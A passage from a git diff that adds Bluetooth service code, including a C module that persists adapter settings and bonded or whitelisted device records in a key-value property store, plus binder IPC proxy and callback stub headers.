(name) + (name_prefix_len), (addr_str_len)); \ + bt_addr_str2ba((addr_str), (addr_ptr)); \ + } while (0) + +#define ERROR_ADAPTERINFO_VALUE -1 + +#define BT_KVDB_ADAPTERINFO_NAME "persist.bluetooth.adapterInfo.name" +#define BT_KVDB_ADAPTERINFO_COD "persist.bluetooth.adapterInfo.class_of_device" +#define BT_KVDB_ADAPTERINFO_IOCAP "persist.bluetooth.adapterInfo.io_capability" +#define BT_KVDB_ADAPTERINFO_SCAN "persist.bluetooth.adapterInfo.scan_mode" +#define BT_KVDB_ADAPTERINFO_BOND "persist.bluetooth.adapterInfo.bondable" +#define BT_KVDB_ADAPTERINFO_IRK "persist.bluetooth.adapterInfo.irk" + +#define BT_KVDB_ADAPTERINFO "persist.bluetooth.adapterInfo." +#define BT_KVDB_BTBOND "persist.bluetooth.btbonded." +#define BT_KVDB_BLEBOND "persist.bluetooth.blebonded." +#define BT_KVDB_BLEWHITELIST "persist.bluetooth.whitelist." + +int bt_storage_properties_destory(void); +void bt_storage_delete(char* key, uint16_t items, char* prop_name); +#endif + +#endif /* _BT_STORAGE_H__ */ \ No newline at end of file diff --git a/service/common/storage_property.c b/service/common/storage_property.c new file mode 100644 index 0000000000000000000000000000000000000000..49e143c989f7617223feda6b19d2d1cc5cbb01d1 --- /dev/null +++ b/service/common/storage_property.c @@ -0,0 +1,600 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#define LOG_TAG "storage_property" +#include <nuttx/crc16.h> +#include <stdint.h> +#include <time.h> +#include <unistd.h> + +#ifdef CONFIG_KVDB +#include <kvdb.h> +#endif + +#include "bluetooth_define.h" +#include "service_loop.h" +#include "storage.h" +#include "utils/log.h" +#include "uv_ext.h" + +typedef struct { + void* key; + uint16_t items; + uint16_t offset; + uint32_t value_length; + uint8_t value[0]; +} bt_property_value_t; + +static void storage_save_adapter_info(service_work_t* work, void* userdata) +{ + adapter_storage_t* adapter = (adapter_storage_t*)userdata; + property_set_binary(BT_KVDB_VERSION_KEY, BT_STORAGE_CURRENT_VERSION, strlen(BT_STORAGE_CURRENT_VERSION) + 1, false); + property_set_binary(BT_KVDB_ADAPTERINFO_NAME, adapter->name, strlen(adapter->name) + 1, false); + property_set_binary(BT_KVDB_ADAPTERINFO_IRK, adapter->irk, sizeof(adapter->irk), false); + property_set_int32(BT_KVDB_ADAPTERINFO_COD, adapter->class_of_device); + property_set_int32(BT_KVDB_ADAPTERINFO_IOCAP, adapter->io_capability); + property_set_int32(BT_KVDB_ADAPTERINFO_SCAN, adapter->scan_mode); + property_set_int32(BT_KVDB_ADAPTERINFO_BOND, adapter->bondable); + property_commit(); +} + +static void storage_save_adapter_info_complete(service_work_t* work, void* userdata) +{ + free(userdata); +} + +static void storage_commit(service_work_t* work, void* userdata) +{ + property_commit(); +} + +static int storage_set_key(const char* key, void* data, size_t length) +{ + int ret; + + ret = property_set_binary(key, data, length, true); + if (ret < 0) { + BT_LOGE("key %s set error!", key); + return ret; + } + service_loop_work(NULL, storage_commit, NULL); + return ret; +} + +static void callback_bt_load_addr(const char* name, const char* value, void* cookie) +{ + char addr_str[BT_ADDR_STR_LENGTH]; + bt_property_value_t* prop_value; + remote_device_properties_t* remote; + + prop_value = (bt_property_value_t*)cookie; + if (strncmp(name, (char*)prop_value->key, strlen(prop_value->key))) + return; + + assert(prop_value->offset < prop_value->items); + remote = (remote_device_properties_t*)prop_value->value + prop_value->offset; + + PARSE_PROP_KEY(addr_str, name, strlen((char*)prop_value->key), BT_ADDR_STR_LENGTH, &remote->addr); + prop_value->offset++; +} + +static void callback_le_load_addr(const char* name, const char* value, void* cookie) +{ + char addr_str[BT_ADDR_STR_LENGTH]; + bt_property_value_t* prop_value; + remote_device_le_properties_t* remote; + + prop_value = (bt_property_value_t*)cookie; + if (strncmp(name, (char*)prop_value->key, strlen(prop_value->key))) + return; + + assert(prop_value->offset < prop_value->items); + remote = (remote_device_le_properties_t*)prop_value->value + prop_value->offset; + + PARSE_PROP_KEY(addr_str, name, strlen((char*)prop_value->key), BT_ADDR_STR_LENGTH, &remote->addr); + prop_value->offset++; +} + +static void storage_get_key(const char* key, void* data, uint16_t value_len, void* cookie) +{ + bt_property_value_t* prop_value; + remote_device_properties_t* bt_remote; + remote_device_le_properties_t* le_remote; + bt_address_t* addr; + size_t prop_size; + char* prop_name; + int i; + + if (!key || !data) + return; + + if (!strncmp(key, BT_KVDB_ADAPTERINFO, strlen(BT_KVDB_ADAPTERINFO))) { + adapter_storage_t* adapter = (adapter_storage_t*)data; + adapter->class_of_device = property_get_int32(BT_KVDB_ADAPTERINFO_COD, ERROR_ADAPTERINFO_VALUE); + adapter->io_capability = property_get_int32(BT_KVDB_ADAPTERINFO_IOCAP, ERROR_ADAPTERINFO_VALUE); + adapter->scan_mode = property_get_int32(BT_KVDB_ADAPTERINFO_SCAN, ERROR_ADAPTERINFO_VALUE); + adapter->bondable = property_get_int32(BT_KVDB_ADAPTERINFO_BOND, ERROR_ADAPTERINFO_VALUE); + property_get_binary(BT_KVDB_ADAPTERINFO_IRK, adapter->irk, sizeof(adapter->irk)); + return; + } + + prop_value = (bt_property_value_t*)data; + if (prop_value->items == 0) { + ((load_storage_callback_t)cookie)(NULL, 0, 0); + return; + } + + prop_name = (char*)malloc(PROP_NAME_MAX); + if (!prop_name) { + BT_LOGE("property_name malloc failed!"); + return; + } + + if (!strncmp(key, BT_KVDB_BTBOND, strlen(BT_KVDB_BTBOND))) { + property_list(callback_bt_load_addr, data); // get addr to generate property name + for (i = 0; i < prop_value->items; i++) { + bt_remote = (remote_device_properties_t*)prop_value->value + i; + addr = &bt_remote->addr; + GEN_PROP_KEY(prop_name, key, addr, PROP_NAME_MAX); + /** + * Note: It should be ensured that "addr" is the first member of the struct remote_device_properties_t + * and "addr_type" is the second member. + * */ + prop_size = sizeof(remote_device_properties_t) - offsetof(remote_device_properties_t, addr_type); + property_get_binary(prop_name, &bt_remote->addr_type, prop_size); + } + } else { /*!BT_KVDB_BTBOND*/ + property_list(callback_le_load_addr, data); // get addr to generate property name + for (i = 0; i < prop_value->items; i++) { + le_remote = (remote_device_le_properties_t*)prop_value->value + i; + addr = &le_remote->addr; + GEN_PROP_KEY(prop_name, key, addr, PROP_NAME_MAX); + /** + * Note: It should be ensured that "addr" is the first member of the struct remote_device_le_properties_t + * and "addr_type" is the second member. + * */ + prop_size = sizeof(remote_device_le_properties_t) - offsetof(remote_device_le_properties_t, addr_type); + property_get_binary(prop_name, &le_remote->addr_type, prop_size); + } + } + ((load_storage_callback_t)cookie)(prop_value->value, value_len, prop_value->items); + free(prop_name); +} + +static void adapter_properties_default(adapter_storage_t* prop) +{ + srand(time(NULL)); + memset(prop->name, 0, sizeof(prop->name)); + snprintf(prop->name, sizeof(prop->name), "%s-%03X", "XIAOMI VELA", rand() % 999); + prop->class_of_device = DEFAULT_DEVICE_OF_CLASS; + prop->io_capability = DEFAULT_IO_CAPABILITY; + prop->scan_mode = DEFAULT_SCAN_MODE; + prop->bondable = DEFAULT_BONDABLE_MODE; +} + +int bt_storage_save_adapter_info(adapter_storage_t* adapter) +{ + adapter_storage_t* adapter_copy; + + adapter_copy = (adapter_storage_t*)malloc(sizeof(adapter_storage_t)); + if (!adapter_copy) { + BT_LOGE("adapter_copy malloc failed!"); + return -ENOMEM; + } + memcpy(adapter_copy, adapter, sizeof(adapter_storage_t)); + + if (service_loop_work(adapter_copy, storage_save_adapter_info, storage_save_adapter_info_complete) == NULL) { + BT_LOGE("service_loop_work failed!"); + storage_save_adapter_info_complete(NULL, adapter_copy); + return -EINVAL; + } + + return 0; +} + +int bt_storage_load_adapter_info(adapter_storage_t* adapter) +{ + if (property_get_binary(BT_KVDB_ADAPTERINFO_NAME, adapter->name, sizeof(adapter->name)) > 0) { + storage_get_key(BT_KVDB_ADAPTERINFO, (void*)adapter, sizeof(adapter_storage_t), NULL); + if (adapter->class_of_device != ERROR_ADAPTERINFO_VALUE && adapter->io_capability != ERROR_ADAPTERINFO_VALUE + && adapter->scan_mode != ERROR_ADAPTERINFO_VALUE && adapter->bondable != ERROR_ADAPTERINFO_VALUE) + return 0; + } + BT_LOGE("load default adapter info!"); + adapter_properties_default(adapter); + bt_storage_save_adapter_info(adapter); + + return 0; +} + +static int bt_storage_save_remote_device(const char* key, void* value, uint16_t value_size, uint16_t items) +{ + size_t prop_vlen; + char* prop_name; + remote_device_properties_t* data; + bt_address_t* addr; + int i; + int ret; + + if (!key || !value) + return 0; + + prop_name = (char*)malloc(PROP_NAME_MAX); + if (!prop_name) { + BT_LOGE("property_name malloc failed!"); + return -ENOMEM; + } + data = (remote_device_properties_t*)value; + prop_vlen = value_size - offsetof(remote_device_properties_t, addr_type); + for (i = 0; i < items; i++) { + addr = &data->addr; + GEN_PROP_KEY(prop_name, key, addr, PROP_NAME_MAX); + /** + * Note: It should be ensured that "addr" is the first member of the struct remote_device_properties_t + * and "addr_type" is the second member. + * */ + ret = storage_set_key(prop_name, &data->addr_type, prop_vlen); + if (ret < 0) { + free(prop_name); + return ret; + } + data++; + } + free(prop_name); + return 0; +} + +/*BR_KVDB_BLEBOND or BT_KVDB_BLEWHITELIST*/ +static int bt_storage_save_le_remote_device(const char* key, void* value, uint16_t value_size, uint16_t items) +{ + size_t prop_vlen; + char* prop_name; + remote_device_le_properties_t* data; + bt_address_t* addr; + int i; + int ret; + + if (!key || !value) + return 0; + + prop_name = (char*)malloc(PROP_NAME_MAX); + if (!prop_name) { + BT_LOGE("property_name malloc failed!"); + return -ENOMEM; + } + data = (remote_device_le_properties_t*)value; + prop_vlen = value_size - offsetof(remote_device_le_properties_t, addr_type); + for (i = 0; i < items; i++) { + addr = &data->addr; + GEN_PROP_KEY(prop_name, key, addr, PROP_NAME_MAX); + /** + * Note: It should be ensured that "addr" is the first member of the struct remote_device_le_properties_t + * and "addr_type" is the second member. + * */ + ret = storage_set_key(prop_name, &data->addr_type, prop_vlen); + if (ret < 0) { + free(prop_name); + return ret; + } + data++; + } + free(prop_name); + return 0; +} + +static void callback_bt_count(const char* name, const char* value, void* count_u16) +{ + if (!strncmp(name, BT_KVDB_BTBOND, strlen(BT_KVDB_BTBOND))) { + (*(uint16_t*)count_u16)++; + } +} + +static void callback_le_count(const char* name, const char* value, void* count_u16) +{ + if (!strncmp(name, BT_KVDB_BLEBOND, strlen(BT_KVDB_BLEBOND))) { + (*(uint16_t*)count_u16)++; + } +} + +static void callback_whitelist_count(const char* name, const char* value, void* count_u16) +{ + if (!strncmp(name, BT_KVDB_BLEWHITELIST, strlen(BT_KVDB_BLEWHITELIST))) { + (*(uint16_t*)count_u16)++; + } +} + +static void callback_load_key(const char* name, const char* value, void* cookie) +{ + char addr_str[BT_ADDR_STR_LENGTH]; + bt_property_value_t* prop_value; + bt_address_t* addr; + + prop_value = (bt_property_value_t*)cookie; + + if (strncmp(name, (char*)prop_value->key, strlen(prop_value->key))) + return; + + assert(prop_value->offset < prop_value->items); + addr = (bt_address_t*)prop_value->value + prop_value->offset; + PARSE_PROP_KEY(addr_str, name, strlen((char*)prop_value->key), BT_ADDR_STR_LENGTH, addr); + prop_value->offset++; +} + +void bt_storage_delete(char* key, uint16_t items, char* prop_name) +{ + bt_property_value_t* prop_value; + uint32_t total_length; + bt_address_t* addr; + int i; + + if (!key || !prop_name) + return; + + total_length = items * sizeof(bt_address_t); + prop_value = malloc(sizeof(bt_property_value_t) + total_length); + if (!prop_value) { + BT_LOGE("property malloc failed!"); + return; + } + + prop_value->key = key; + prop_value->items = items; + prop_value->offset = 0; + prop_value->value_length = total_length; + + property_list(callback_load_key, (void*)prop_value); + for (i = 0; i < items; i++) { + addr = (bt_address_t*)prop_value->value + i; + GEN_PROP_KEY(prop_name, key, addr, PROP_NAME_MAX); + property_delete(prop_name); + } + + free(prop_value); + service_loop_work(NULL, storage_commit, NULL); +} + +int bt_storage_save_bonded_device(remote_device_properties_t* remote, uint16_t size) +{ + uint16_t items = 0; + char* prop_name; + int ret; + + prop_name = (char*)malloc(PROP_NAME_MAX); + if (!prop_name) { + BT_LOGE("property_name malloc failed!"); + return -ENOMEM; + } + + /* remove all BREDR bond device property before save new property*/ + property_list(callback_bt_count, &items); + bt_storage_delete(BT_KVDB_BTBOND, items, prop_name); + + ret = bt_storage_save_remote_device(BT_KVDB_BTBOND, remote, sizeof(remote_device_properties_t), size); + if (ret < 0) { + BT_LOGE("save bonded device failed!"); + items = 0; + property_list(callback_bt_count, &items); + bt_storage_delete(BT_KVDB_BTBOND, items, prop_name); + } + + free(prop_name); + return ret; +} + +int bt_storage_save_whitelist(remote_device_le_properties_t* remote, uint16_t size) +{ + uint16_t items = 0; + char* prop_name; + int ret; + + prop_name = (char*)malloc(PROP_NAME_MAX); + if (!prop_name) { + BT_LOGE("property_name malloc failed!"); + return -ENOMEM; + } + + /* remove all whitelist device property before save new property*/ + property_list(callback_whitelist_count, &items); + bt_storage_delete(BT_KVDB_BLEWHITELIST, items, prop_name); + + ret = bt_storage_save_le_remote_device(BT_KVDB_BLEWHITELIST, remote, sizeof(remote_device_le_properties_t), size); + if (ret < 0) { + BT_LOGE("save whitelist device failed!"); + items = 0; + property_list(callback_whitelist_count, &items); + bt_storage_delete(BT_KVDB_BLEWHITELIST, items, prop_name); + } + + free(prop_name); + return ret; +} + +int bt_storage_save_le_bonded_device(remote_device_le_properties_t* remote, uint16_t size) +{ + uint16_t items = 0; + char* prop_name; + int ret; + + prop_name = (char*)malloc(PROP_NAME_MAX); + if (!prop_name) { + BT_LOGE("property_name malloc failed!"); + return -ENOMEM; + } + + /* remove all BLE bond device property before save new property*/ + property_list(callback_le_count, &items); + bt_storage_delete(BT_KVDB_BLEBOND, items, prop_name); + + ret = bt_storage_save_le_remote_device(BT_KVDB_BLEBOND, remote, sizeof(remote_device_le_properties_t), size); + if (ret < 0) { + BT_LOGE("save LE bonded device failed!"); + items = 0; + property_list(callback_le_count, &items); + bt_storage_delete(BT_KVDB_BLEBOND, items, prop_name); + } + + free(prop_name); + return ret; +} + +int bt_storage_load_bonded_device(load_storage_callback_t cb) +{ + uint16_t items; + bt_property_value_t* prop_value; + uint32_t total_length; + int ret; + + items = 0; + ret = property_list(callback_bt_count, &items); + if (ret < 0) { + BT_LOGE("property_list failed!"); + return ret; + } + + total_length = items * sizeof(remote_device_properties_t); + prop_value = malloc(sizeof(bt_property_value_t) + total_length); + if (!prop_value) { + BT_LOGE("property malloc failed!"); + return -ENOMEM; + } + + prop_value->key = BT_KVDB_BTBOND; + prop_value->items = items; + prop_value->offset = 0; + prop_value->value_length = total_length; + + storage_get_key(BT_KVDB_BTBOND, (void*)prop_value, sizeof(remote_device_properties_t), (void*)cb); + free(prop_value); + + return 0; +} + +int bt_storage_load_whitelist_device(load_storage_callback_t cb) +{ + uint16_t items; + bt_property_value_t* prop_value; + uint32_t total_length; + int ret; + + items = 0; + ret = property_list(callback_whitelist_count, &items); + if (ret < 0) { + BT_LOGE("property_list failed!"); + return ret; + } + + total_length = items * sizeof(remote_device_le_properties_t); + prop_value = malloc(sizeof(bt_property_value_t) + total_length); + if (!prop_value) { + BT_LOGE("property malloc failed!"); + return -ENOMEM; + } + + prop_value->key = BT_KVDB_BLEWHITELIST; + prop_value->items = items; + prop_value->offset = 0; + prop_value->value_length = total_length; + + storage_get_key(BT_KVDB_BLEWHITELIST, (void*)prop_value, sizeof(remote_device_le_properties_t), (void*)cb); + free(prop_value); + + return 0; +} + +int bt_storage_load_le_bonded_device(load_storage_callback_t cb) +{ + uint16_t items; + bt_property_value_t* prop_value; + uint32_t total_length; + int ret; + + items = 0; + ret = property_list(callback_le_count, &items); + if (ret < 0) { + BT_LOGE("property_list failed!"); + return ret; + } + + total_length = items * sizeof(remote_device_le_properties_t); + prop_value = malloc(sizeof(bt_property_value_t) + total_length); + if (!prop_value) { + BT_LOGE("property malloc failed!"); + return -ENOMEM; + } + + prop_value->key = BT_KVDB_BLEBOND; + prop_value->items = items; + prop_value->offset = 0; + prop_value->value_length = total_length; + + storage_get_key(BT_KVDB_BLEBOND, (void*)prop_value, sizeof(remote_device_le_properties_t), (void*)cb); + free(prop_value); + + return 0; +} + +int bt_storage_properties_destory(void) +{ + uint16_t items = 0; + char* prop_name; + int ret = 0; + + prop_name = (char*)malloc(PROP_NAME_MAX); + if (!prop_name) { + BT_LOGE("property_name malloc failed!"); + return -ENOMEM; + } + + /* remove all BLE bond device property */ + property_list(callback_le_count, &items); + bt_storage_delete(BT_KVDB_BLEBOND, items, prop_name); + + /* remove all whitelist device property */ + items = 0; + property_list(callback_whitelist_count, &items); + bt_storage_delete(BT_KVDB_BLEWHITELIST, items, prop_name); + + /* remove all BREDR bond device property */ + items = 0; + property_list(callback_bt_count, &items); + bt_storage_delete(BT_KVDB_BTBOND, items, prop_name); + + free(prop_name); + /* remove adapter info property */ + ret |= property_delete(BT_KVDB_VERSION_KEY); + ret |= property_delete(BT_KVDB_ADAPTERINFO_NAME); + ret |= property_delete(BT_KVDB_ADAPTERINFO_COD); + ret |= property_delete(BT_KVDB_ADAPTERINFO_IOCAP); + ret |= property_delete(BT_KVDB_ADAPTERINFO_SCAN); + ret |= property_delete(BT_KVDB_ADAPTERINFO_BOND); + if (ret) { + BT_LOGE("property_delete failed!"); + return ret; + } + + property_commit(); + return 0; +} + +int bt_storage_init(void) +{ + return 0; +} + +int bt_storage_cleanup(void) +{ + return 0; +} diff --git a/service/ipc/binder/include/adapter_callbacks_proxy.h b/service/ipc/binder/include/adapter_callbacks_proxy.h new file mode 100644 index 0000000000000000000000000000000000000000..80cd4385e3be312d83d796a41717cdea61126df9 --- /dev/null +++ b/service/ipc/binder/include/adapter_callbacks_proxy.h @@ -0,0 +1,35 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __ADAPTER_CALLBACKS_PROXY_H__ +#define __ADAPTER_CALLBACKS_PROXY_H__ + +#include <stdbool.h> +#include <stdint.h> +#include <uchar.h> + +#ifdef __cplusplus +extern "C" { +#endif + +#include <android/binder_manager.h> +// #include <android/binder_auto_utils.h> +const adapter_callbacks_t* BpBtAdapterCallbacks_getStatic(void); + +#ifdef __cplusplus +} +#endif +#endif /* __ADAPTER_CALLBACKS_PROXY_H__ */ \ No newline at end of file diff --git a/service/ipc/binder/include/adapter_callbacks_stub.h b/service/ipc/binder/include/adapter_callbacks_stub.h new file mode 100644 index 0000000000000000000000000000000000000000..6b616a5840a4b99c4952cb0156aa0d18c8f7ec9b --- /dev/null +++ b/service/ipc/binder/include/adapter_callbacks_stub.h @@ -0,0 +1,69 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __ADAPTER_CALLBACKS_STUB_H__ +#define __ADAPTER_CALLBACKS_STUB_H__ + +#include <stdbool.h> +#include <stdint.h> +#include <uchar.h> + +#ifdef __cplusplus +extern "C" { +#endif + +#include "bt_adapter.h" +#include <android/binder_manager.h> + +typedef struct { + AIBinder_Class* clazz; + AIBinder_Weak* WeakBinder; + const adapter_callbacks_t* callbacks; + void* cookie; +} IBtAdapterCallbacks; + +#if 0 +typedef struct { + AIBinder* Binder; +} BpBtAdapterCallbacks; +#endif + +typedef enum { + /* local adapter */ + ICBKS_ADAPTER_STATE_CHANGED = FIRST_CALL_TRANSACTION, + ICBKS_DISCOVERY_STATE_CHANGED, + ICBKS_DISCOVERY_RESULT, + ICBKS_SCAN_MODE_CHANGED, + ICBKS_DEVICE_NAME_CHANGED, + ICBKS_PAIR_REQUEST, + ICBKS_PAIR_DISPLAY, + ICBKS_CONNECTION_STATE_CHANGED, + ICBKS_BOND_STATE_CHANGED, + ICBKS_REMOTE_NAME_CHANGED, + ICBKS_REMOTE_ALIAS_CHANGED, + ICBKS_REMOTE_COD_CHANGED, + ICBKS_REMOTE_UUIDS_CHANGED, +} IBtAdapterCallbacks_Call; + +AIBinder* BtAdapterCallbacks_getBinder(IBtAdapterCallbacks* adapter); +binder_status_t BtAdapterCallbacks_associateClass(AIBinder* binder); +IBtAdapterCallbacks* BtAdapterCallbacks_new(const adapter_callbacks_t* callbacks); +void BtAdapterCallbacks_delete(IBtAdapterCallbacks* cbks); + +#ifdef __cplusplus +} +#endif +#endif /* __ADAPTER_CALLBACKS_STUB_H__ */ \ No newline at end of file diff --git a/service/ipc/binder/include/adapter_proxy.h b/service/ipc/binder/include/adapter_proxy.h new file mode 100644 index 0000000000000000000000000000000000000000..0972f9074991947d194b438d8f4f84edf64de003 --- /dev/null +++ b/service/ipc/binder/include/adapter_proxy.h @@ -0,0 +1,120 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __ADAPTER_PROXY_H__ +#define __ADAPTER_PROXY_H__ + +#include <stdbool.h> +#include <stdint.h> +#include <uchar.h> + +#include "adapter_stub.h" +#include "bluetooth.h" +#include "bt_adapter.h" +#include "bt_le_advertiser.h" +#include "bt_le_scan.h" + +// #include <android/binder_auto_utils.h> + +BpBtAdapter* BpBtAdapter_new(const char* instance); +void BpBtAdapter_delete(BpBtAdapter* bpAdapter); +AIBinder* BtAdapter_getService(BpBtAdapter** bpAdapter, const char* instance); + +void* BpBtAdapter_registerCallback(BpBtAdapter* bpBinder, AIBinder* cbksBinder); +bool BpBtAdapter_unRegisterCallback(BpBtAdapter* bpBinder, void* cookie); +bt_status_t BpBtAdapter_enable(BpBtAdapter* bpBinder); +bt_status_t BpBtAdapter_disable(BpBtAdapter* bpBinder); +bt_status_t BpBtAdapter_enableLe(BpBtAdapter* bpBinder); +bt_status_t BpBtAdapter_disableLe(BpBtAdapter* bpBinder); +bt_adapter_state_t BpBtAdapter_getState(BpBtAdapter* bpBinder); +bool BpBtAdapter_isLeEnabled(BpBtAdapter* bpBinder); +bt_device_type_t BpBtAdapter_getType(BpBtAdapter* bpBinder); +bt_status_t BpBtAdapter_setDiscoveryFilter(BpBtAdapter* bpBinder); +bt_status_t BpBtAdapter_startDiscovery(BpBtAdapter* bpBinder, uint32_t timeout); +bt_status_t BpBtAdapter_cancelDiscovery(BpBtAdapter* bpBinder); +bool BpBtAdapter_isDiscovering(BpBtAdapter* bpBinder); +bt_status_t BpBtAdapter_getAddress(BpBtAdapter* bpBinder, bt_address_t* addr); +bt_status_t BpBtAdapter_setName(BpBtAdapter* bpBinder, const char* name); +bt_status_t BpBtAdapter_getName(BpBtAdapter* bpBinder, char* name, int length); +bt_status_t BpBtAdapter_getUuids(BpBtAdapter* bpBinder, bt_uuid_t* uuids, uint16_t* size); +bt_status_t BpBtAdapter_setScanMode(BpBtAdapter* bpBinder, bt_scan_mode_t mode, bool bondable); +bt_scan_mode_t BpBtAdapter_getScanMode(BpBtAdapter* bpBinder); +bt_status_t BpBtAdapter_setDeviceClass(BpBtAdapter* bpBinder, uint32_t cod); +uint32_t BpBtAdapter_getDeviceClass(BpBtAdapter* bpBinder); +bt_status_t BpBtAdapter_setIOCapability(BpBtAdapter* bpBinder, bt_io_capability_t cap); +bt_io_capability_t BpBtAdapter_getIOCapability(BpBtAdapter* bpBinder); +bt_status_t BpBtAdapter_SetLeIOCapability(BpBtAdapter* bpBinder, uint32_t le_io_cap); +uint32_t BpBtAdapter_getLeIOCapability(BpBtAdapter* bpBinder); +bt_status_t BpBtAdapter_getLeAddress(BpBtAdapter* bpBinder, bt_address_t* addr, ble_addr_type_t* type); +bt_status_t BpBtAdapter_setLeAddress(BpBtAdapter* bpBinder, bt_address_t* addr); +bt_status_t BpBtAdapter_setLeIdentityAddress(BpBtAdapter* bpBinder, bt_address_t* addr, bool is_public); +bt_status_t BpBtAdapter_setLeAppearance(BpBtAdapter* bpBinder, uint16_t appearance); +uint16_t BpBtAdapter_getLeAppearance(BpBtAdapter* bpBinder); +bt_status_t BpBtAdapter_getBondedDevices(BpBtAdapter* bpBinder, bt_address_t** addr, int* num, bt_allocator_t allocator); +bt_status_t BpBtAdapter_getConnectedDevices(BpBtAdapter* bpBinder, bt_address_t** addr, int* num, bt_allocator_t allocator); +void BpBtAdapter_disconnectAllDevices(BpBtAdapter* bpBinder); +bool BpBtAdapter_isSupportBredr(BpBtAdapter* bpBinder); +bool BpBtAdapter_isSupportLe(BpBtAdapter* bpBinder); +bool BpBtAdapter_isSupportLeaudio(BpBtAdapter* bpBinder); +bt_status_t BpBtAdapter_leEnableKeyDerivation(BpBtAdapter* bpBinder, + bool brkey_to_lekey, + bool lekey_to_brkey); +bt_advertiser_t* BpBtAdapter_startAdvertising(BpBtAdapter* bpBinder, + ble_adv_params_t* params, + uint8_t* adv_data, + uint16_t adv_len, + uint8_t* scan_rsp_data, + uint16_t scan_rsp_len, + AIBinder* cbksBinder); +bt_status_t BpBtAdapter_stopAdvertising(BpBtAdapter* bpBinder, bt_advertiser_t* adver); +bt_status_t BpBtAdapter_stopAdvertisingId(BpBtAdapter* bpBinder, uint8_t adver_id); +bt_scanner_t* BpBtAdapter_startScan(BpBtAdapter* bpBinder, AIBinder* cbksBinder); +bt_scanner_t* BpBtAdapter_startScanSettings(BpBtAdapter* bpBinder, + ble_scan_settings_t* settings, + AIBinder* cbksBinder); +bt_status_t BpBtAdapter_stopScan(BpBtAdapter* bpBinder, bt_scanner_t* scanner); +bt_device_type_t BpBtAdapter_getRemoteDeviceType(BpBtAdapter* bpBinder, bt_address_t* addr); +bool BpBtAdapter_getRemoteName(BpBtAdapter* bpBinder, bt_address_t* addr, char* name, uint32_t length); +uint32_t BpBtAdapter_getRemoteDeviceClass(BpBtAdapter* bpBinder, bt_address_t* addr); +bt_status_t BpBtAdapter_getRemoteUuids(BpBtAdapter* bpBinder, bt_address_t* addr, bt_uuid_t** uuids, uint16_t* size, bt_allocator_t allocator); +uint16_t BpBtAdapter_getRemoteAppearance(BpBtAdapter* bpBinder, bt_address_t* addr); +int8_t BpBtAdapter_getRemoteRssi(BpBtAdapter* bpBinder, bt_address_t* addr); +bool BpBtAdapter_getRemoteAlias(BpBtAdapter* bpBinder, bt_address_t* addr, char* alias, uint32_t length); +bt_status_t BpBtAdapter_setRemoteAlias(BpBtAdapter* bpBinder, bt_address_t* addr, const char* alias); +bool BpBtAdapter_isRemoteConnected(BpBtAdapter* bpBinder, bt_address_t* addr); +bool BpBtAdapter_isRemoteEncrypted(BpBtAdapter* bpBinder, bt_address_t* addr); +bool BpBtAdapter_isBondInitiateLocal(BpBtAdapter* bpBinder, bt_address_t* addr); +bond_state_t BpBtAdapter_getRemoteBondState(BpBtAdapter* bpBinder, bt_address_t* addr); +bool BpBtAdapter_isRemoteBonded(BpBtAdapter* bpBinder, bt_address_t* addr); +bt_status_t BpBtAdapter_connect(BpBtAdapter* bpBinder, bt_address_t* addr); +bt_status_t BpBtAdapter_disconnect(BpBtAdapter* bpBinder, bt_address_t* addr); + +bt_status_t BpBtAdapter_leConnect(BpBtAdapter* bpBinder, bt_address_t* addr, + ble_addr_type_t type, + ble_connect_params_t* param); +bt_status_t BpBtAdapter_leDisconnect(BpBtAdapter* bpBinder, bt_address_t* addr); +bt_status_t BpBtAdapter_leSetPhy(BpBtAdapter* bpBinder, bt_address_t* addr, + ble_phy_type_t tx_phy, + ble_phy_type_t rx_phy); +bt_status_t BpBtAdapter_createBond(BpBtAdapter* bpBinder, bt_address_t* addr, bt_transport_t transport); +bt_status_t BpBtAdapter_removeBond(BpBtAdapter* bpBinder, bt_address_t* addr, bt_transport_t transport); +bt_status_t BpBtAdapter_cancelBond(BpBtAdapter* bpBinder, bt_address_t* addr); +bt_status_t BpBtAdapter_pairRequestReply(BpBtAdapter* bpBinder, bt_address_t* addr, bool accept); +bt_status_t BpBtAdapter_setPairingConfirmation(BpBtAdapter* bpBinder, bt_address_t* addr, bt_transport_t transport, bool accept); +bt_status_t BpBtAdapter_setPinCode(BpBtAdapter* bpBinder, bt_address_t* addr, bool accept, + char* pincode, int len); +bt_status_t BpBtAdapter_setPassKey(BpBtAdapter* bpBinder, bt_address_t* addr, bt_transport_t transport, bool accept, uint32_t passkey); +#endif /* __ADAPTER_PROXY_H__ */ \ No newline at end of file diff --git 